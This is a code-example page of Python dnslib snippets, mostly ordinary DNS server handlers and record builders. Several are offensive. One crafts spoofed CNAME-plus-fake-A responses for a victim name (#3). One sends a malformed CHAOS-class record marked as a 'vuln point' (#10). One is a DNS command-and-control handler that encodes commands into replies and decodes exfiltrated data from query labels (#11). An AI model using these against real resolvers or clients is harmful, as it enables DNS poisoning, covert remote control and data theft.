Exemple #1
0
def dns_handler(s, peer, data):
    request = DNSRecord.parse(data)
    id = request.header.id
    qname = request.q.qname
    qtype = request.q.qtype
    print "------ Request (%s): %r (%s)" % (str(peer), qname.label,
                                            QTYPE[qtype])
    print request

    reply = DNSRecord(DNSHeader(id=id, qr=1, aa=1, ra=1), q=request.q)
    if qtype == QTYPE.A:
        reply.add_answer(RR(qname, qtype, rdata=A(IP)))
    if qtype == QTYPE.AAAA:
        reply.add_answer(RR(qname, qtype, rdata=AAAA(IPV6)))
    elif qtype == QTYPE['*']:
        reply.add_answer(RR(qname, QTYPE.A, rdata=A(IP)))
        reply.add_answer(RR(qname, QTYPE.MX, rdata=MX(IP)))
        reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(MSG)))
    else:
        reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(MSG)))

    print "------ Reply"
    print reply

    s.sendto(reply.pack(), peer)
Exemple #2
0
    def resolve(self, request, handler):
        assert isinstance(request, DNSRecord)

        reply = request.reply()
        qname = request.q.qname
        D = self.D

        if request.q.qtype == QTYPE.NS and qname.matchSuffix(D):
            reply.add_answer(
                RR(rname=qname,
                   rtype=QTYPE.NS,
                   ttl=NS_TTL,
                   rdata=NS(D.add('ns'))))
            reply.add_ar(
                RR(D.add('ns'), QTYPE.A, ttl=self.ttl, rdata=A(self.ip)))

        # valid queries: data.data...data.9kw_api_key.operation.rest of domain
        elif request.q.qtype == QTYPE.CNAME\
          and len(qname.label) >= (len(D.label) + 2)\
          and qname.label[-(len(D.label) + 1)] in self.OPERATIONS\
          and qname.label[-(len(D.label) + 2)] in self.allowed_keys:

            operation = qname.label[-(len(D.label) + 1)]
            api_key = qname.label[-(len(D.label) + 2)]
            data = qname.label[:-(len(D.label) + 2)]

            ret = self.OPERATIONS[operation](api_key, data)
            reply.add_answer(RR(qname, QTYPE.CNAME, ttl=0, rdata=CNAME(ret)))

        return reply
Exemple #3
0
    def craftPayload(self, msg):

        query = DNSRecord.parse(msg)
        response = query.reply()

        qname = query.q.qname
        vic_name = self.vic_name
        fakeip = self.fakeip

        if query.q.qtype == QTYPE.NS:
            print("[+] required NS record.")
            assert_ns = RR(qname, QTYPE.NS, ttl=60, rdata=NS("ns.%s" % qname))
            response.add_answer(assert_ns)

        elif query.q.qtype == QTYPE.A:
            print("[+] required any A record.")
            cnamerr = RR(qname, QTYPE.CNAME, ttl=60, rdata=CNAME(vic_name))
            fakea = RR(vic_name, QTYPE.A, ttl=86400, rdata=A(fakeip))
            response.add_answer(cnamerr)
            response.add_answer(fakea)

        if response.__class__.__name__ == "DNSRecord":
            print("[!] Debug: print reply data")
            print("===============================")
            print(response)
            print("===============================")
            return response.pack()
        else:
            return None
Exemple #4
0
 def cnameRecursion(dHost):
     global tmpRes # used for overwriting previous recursion value
     tmpData = dbTest(dHost)
     # First: get CNAME of desired host
     cnameAddress = [i[1] for i in tmpData if i[0] == 'CNAME']
     tmpRes = (dHost,tmpData)
     if cnameAddress:
         newAddr = checkMacro(queryType,cnameAddress[0],dHost,peer)
         reply.add_answer(RR(dHost, QTYPE.CNAME, rdata=CNAME(newAddr)))
         # Second: get desired QTYPE from desired host
         printOut(peer,QTYPE.CNAME,str(dHost),newAddr)
         cnameRecursion(newAddr)
     return tmpRes
Exemple #5
0
 def createCnameResponse(self, data, request):
     dataRawEnc = urlsafe_b64encode(data)
     dataEnc = str(dataRawEnc, "utf-8")
     self._LOGGING_ and self.logger.debug_all(
         f"[{self.name}] createCnameResponse() with sotp_data: {dataEnc}")
     rdomain = self.getDomainFromRequest(request.q.qname.idna()[:-1])
     reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1),
                       q=request.q)
     reply.add_answer(
         RR(rname=request.q.qname,
            rtype=QTYPE.CNAME,
            rclass=CLASS.IN,
            ttl=self.ttl,
            rdata=CNAME(f"{dataEnc}.{rdomain}")))
     return reply
Exemple #6
0
def RecordFactory(qtype: str, data: str, logger: Any) -> Any:
    if qtype == "A":
        return A(data)
    elif qtype == "CNAME":
        return CNAME(data)
    elif qtype == "AAAA":
        return AAAA(data)
    elif qtype == "NS":
        return NS(data)
    elif qtype == "MX":
        pref, entry = data.split()
        print(pref, entry)
        return MX(preference=int(pref), label=entry)
    else:
        logger.error("not implemented query type")
Exemple #7
0
def dns_handler(s, peer, data):
    request = DNSRecord.parse(data)
    id = request.header.id
    qname = request.q.qname
    qtype = request.q.qtype
    print "------ Request (%s): %r (%s)" % (str(peer), qname.label,
                                            QTYPE[qtype])
    print "\n".join(["  %s" % l for l in str(request).split("\n")])
    print ', '.join(str(x) for x in request.ar)

    def get_ecs_option(req):
        for record in request.ar:
            if type(record) is RR:
                for opt in record.rdata:
                    if type(opt) is EDNSOption:
                        if opt.code == 8:
                            return opt

    def ip_from_edns_subnet(req):
        opt = get_ecs_option(req)
        if opt is not None:
            data = opt.data[4:].ljust(4, '\0')
            data = socket.inet_ntoa(data)
            subnetlen = str(ord(opt.data[2]))
            print "Got ECS:", data, subnetlen
            return [data, data + "/" + subnetlen]
        return ["99.99.99.99", "0/0"]

    [IP, MSG] = ip_from_edns_subnet(request)

    reply = DNSRecord(DNSHeader(id=id, qr=1, aa=1, ra=1), q=request.q)
    if qtype == QTYPE.A:
        reply.add_answer(RR(qname, qtype, rdata=A(IP)))
    elif qtype == QTYPE.AAAA:
        reply.add_answer(RR(qname, qtype, rdata=AAAA(IPV6)))
    elif qtype == QTYPE['*']:
        reply.add_answer(RR(qname, QTYPE.A, rdata=A(IP)))
        reply.add_answer(RR(qname, QTYPE.MX, rdata=MX(IP)))
        reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(MSG)))
    else:
        reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(MSG)))

    reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(MSG)))

    print "------ Reply"
    print "\n".join(["  %s" % l for l in str(reply).split("\n")])

    s.sendto(reply.pack(), peer)
Exemple #8
0
 def handle(self, data, address):
     logging.info('receive data size=%r from %r', len(data), address)
     request = DNSRecord.parse(data)
     reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1),
                       q=request.q)
     qname = request.q.qname
     qtype = request.q.qtype
     if qtype == QTYPE.A:
         reply.add_answer(RR(qname, qtype, rdata=A(IP)))
     elif qtype == QTYPE.AAAA:
         reply.add_answer(RR(qname, qtype, rdata=AAAA(IP)))
     elif qtype == QTYPE['*']:
         reply.add_answer(RR(qname, QTYPE.A, rdata=A(IP)))
         reply.add_answer(RR(qname, QTYPE.MX, rdata=MX(IP)))
         reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(TXT)))
     else:
         reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(TXT)))
     self.sendto(reply.pack(), address)
Exemple #9
0
    def read(self, sock, data):
        request = DNSRecord.parse(data)
        id = request.header.id
        qname = request.q.qname
        qtype = request.q.qtype
        print("------ Request (%s): %r (%s)" %
              (str(sock), qname.label, QTYPE[qtype]))

        reply = DNSRecord(DNSHeader(id=id, qr=1, aa=1, ra=1), q=request.q)

        if qtype == QTYPE.A:
            reply.add_answer(RR(qname, qtype, rdata=A(IP)))
        elif qtype == QTYPE['*']:
            reply.add_answer(RR(qname, QTYPE.A, rdata=A(IP)))
            reply.add_answer(RR(qname, QTYPE.MX, rdata=MX(IP)))
            reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(TXT)))
        else:
            reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(TXT)))

        return reply.pack()
    def craftPayload(self, msg):

        query = DNSRecord.parse(msg)
        response = query.reply()

        qname = self.getQname(query)
        cnamerr = RR(qname, QTYPE.CNAME, ttl=60, rdata=CNAME("example.com."))

        #vuln point.
        cnamerr.rclass = CLASS.CH

        response.add_answer(cnamerr)

        if response.__class__.__name__ == "DNSRecord":
            print("===============================")
            print(response)
            print("===============================")
            return response.pack()
        else:
            return None
Exemple #11
0
def dns_handler(s, peer, data):
    global data_received
    command = pick_command()
    msg = "C" + base64.b32encode(command).replace("=", '')
    beacon = False
    request = DNSRecord.parse(data)
    id = request.header.id
    qname = request.q.qname
    qtype = request.q.qtype
    if qname.label[2] == TARGETED_DOMAIN:
        data = qname.label[0]
        if len(data) > 10:
            data = data[10:]
            if len(data) % 8 != 0:
                data = data + ("=" * (8 - len(data) % 8))
            decoded_data = base64.b32decode(data)
            if len(decoded_data) == 4:
                if decoded_data == decoded_data.upper():
                    decoded_data = decoded_data + " [BEACON]"
                    beacon = True
                    if data_received != "":
                        print "[+] Decoded Data Received: %s" % (data_received)
                        data_received = ""
            else:
                data_received += decoded_data
            print "[+] Raw Data Received: %s" % qname.label[0]
            if beacon:
                print "[+] Sending Command: %s | Encoded: %s" % (command, msg)

    if not beacon: msg = "C"

    reply = DNSRecord(DNSHeader(id=id, qr=1, rd=1, ra=1), q=request.q)
    if qtype == QTYPE.TXT:
        reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(msg)))
    else:
        reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(msg)))
    s.sendto(reply.pack(), peer)
Exemple #12
0
    def handle(self, data, address):
        request = DNSRecord.parse(data)
        req_id = request.header.id
        query_name = request.q.qname
        query_type = request.q.qtype

        logger.debug('req-%s: [%s]%s', req_id, query_type, query_name)
        reply = DNSRecord(DNSHeader(id=req_id, qr=1, aa=1, ra=1), q=request.q)

        try:
            resp = self.session.get(self.resolver_addr +
                                    '/{}'.format(query_name).rstrip('.'))
        except ConnectionError as e:
            logger.error('connection error to %s: %s', self.resolver_addr, e)
            reply.header.rcode = RCODE.SERVFAIL
        else:
            if resp.status_code == 200:
                ip = resp.text
                logger.debug('resp-%s: %s', req_id, ip)
                if query_type == QTYPE.A:
                    reply.add_answer(RR(query_name, query_type, rdata=A(ip)))
                elif query_type == QTYPE['*']:
                    reply.add_answer(RR(query_name, QTYPE.A, rdata=A(ip)))
                    reply.add_answer(RR(query_name, QTYPE.MX, rdata=MX(ip)))
                    reply.add_answer(RR(query_name, QTYPE.TXT, rdata=TXT(TXT)))
                else:
                    reply.add_answer(
                        RR(query_name, QTYPE.CNAME, rdata=CNAME(TXT)))
            elif resp.status_code == 404:
                logger.debug('resp-%s: %s', req_id, 'nxdomain')
                reply.header.rcode = RCODE.NXDOMAIN
            else:
                logger.debug('resp-%s: %s', req_id, 'unknown error')
                reply.header.rcode = RCODE.SERVFAIL
                logger.error('unexpected response from server: [%d]%s',
                             resp.status_code, resp.text)
        self.sendto(reply.pack(), address)
Exemple #13
0
    async def dns_response(self, data):
        try:
            request = DNSRecord.parse(data)
            IPs = [MX(D.mail), soa_record] + ns_records
            ipv4_count = 0
            ipv6_count = 0
            if request.q.qtype == 1:
                ipv4_count = 32
            elif request.q.qtype == 28:
                ipv6_count = 32
            elif request.q.qtype == 255:
                ipv4_count = 16
                ipv6_count = 16
            else:
                ipv4_count = 32
            peers = await self.get_peers_to_respond(ipv4_count, ipv6_count)
            if len(peers) == 0:
                return None
            for peer in peers:
                ipv4 = True
                try:
                    _ = ipaddress.IPv4Address(peer)
                except ValueError:
                    ipv4 = False
                if ipv4:
                    IPs.append(A(peer))
                else:
                    try:
                        _ = ipaddress.IPv6Address(peer)
                    except ValueError:
                        continue
                    IPs.append(AAAA(peer))
            reply = DNSRecord(DNSHeader(id=request.header.id,
                                        qr=1,
                                        aa=len(IPs),
                                        ra=1),
                              q=request.q)

            records = {
                D: IPs,
                D.ns1: [
                    A(IP)
                ],  # MX and NS records must never point to a CNAME alias (RFC 2181 section 10.3)
                D.ns2: [A(IP)],
                D.mail: [A(IP)],
                D.andrei: [CNAME(D)],
            }

            qname = request.q.qname
            qn = str(qname)
            qtype = request.q.qtype
            qt = QTYPE[qtype]
            if qn == D or qn.endswith("." + D):
                for name, rrs in records.items():
                    if name == qn:
                        for rdata in rrs:
                            rqt = rdata.__class__.__name__
                            if qt in ["*", rqt
                                      ] or (qt == "ANY" and
                                            (rqt == "A" or rqt == "AAAA")):
                                reply.add_answer(
                                    RR(rname=qname,
                                       rtype=getattr(QTYPE, rqt),
                                       rclass=1,
                                       ttl=TTL,
                                       rdata=rdata))

                for rdata in ns_records:
                    reply.add_ar(
                        RR(rname=D,
                           rtype=QTYPE.NS,
                           rclass=1,
                           ttl=TTL,
                           rdata=rdata))

                reply.add_auth(
                    RR(rname=D,
                       rtype=QTYPE.SOA,
                       rclass=1,
                       ttl=TTL,
                       rdata=soa_record))

            return reply.pack()
        except Exception as e:
            log.error(f"Exception: {e}. Traceback: {traceback.format_exc()}.")